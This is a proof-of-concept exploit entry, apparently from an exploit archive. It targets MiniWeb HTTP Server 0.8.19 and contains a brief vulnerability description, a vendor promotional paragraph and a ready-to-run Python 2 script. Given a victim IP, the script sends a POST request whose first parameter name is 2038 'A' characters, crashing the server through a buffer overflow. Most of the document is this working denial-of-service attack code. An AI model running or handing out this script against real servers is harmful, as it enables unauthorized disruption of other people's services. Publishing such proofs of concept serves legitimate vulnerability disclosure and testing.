# Exploit Title: MiniWeb HTTP Server 0.8.19 - Buffer Overflow (PoC) # Date: 13.12.2020 # Exploit Author: securityforeveryone.com # Author Mail: hello[AT]securityforeveryone.com # Vendor Homepage: https://sourceforge.net/projects/miniweb/ # Software Link: https://sourceforge.net/projects/miniweb/files/miniweb/0.8/miniweb-win32-20130309.zip/download # Version: 0.8.19 # Tested on: Win7 x86 # Researchers: Security For Everyone Team - https://securityforeveryone.com ''' Description MiniWeb HTTP server 0.8.19 allows remote attackers to cause a denial of service (daemon crash) via a long name for the first parameter in a POST request. Exploitation The vulnerability is the first parameter's name of the POST request. Example: PARAM_NAME1=param_data1&param_name2=param_data2 if we send a lot of "A" characters to "PARAM_NAME1", the miniweb server will crash. About Security For Everyone Team We are a team that has been working on cyber security in the industry for a long time. In 2020, we created securityforeveyone.com where everyone can test their website security and get help to fix their vulnerabilities. We have many free tools that you can use here: https://securityforeveryone.com/free-tool-list ''' #!/usr/bin/python import socket import sys import struct if len(sys.argv) != 2 : print "[+] Usage : python exploit.py [VICTIM_IP]" exit(0) TCP_IP = sys.argv[1] TCP_PORT = 8000 xx = "A"*2038 #4085 http_req = "POST /index.html HTTP/1.1\r\n" http_req += "Host: 192.168.231.140\r\n" http_req += "From: header-data\r\n" http_req += "Content-Type: application/x-www-form-urlencoded\r\n\r\n" http_req += xx + "=param_data1&param_name2=param_data2" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TCP_IP, TCP_PORT)) print "[+] Sending exploit payload..." s.send(http_req) s.close()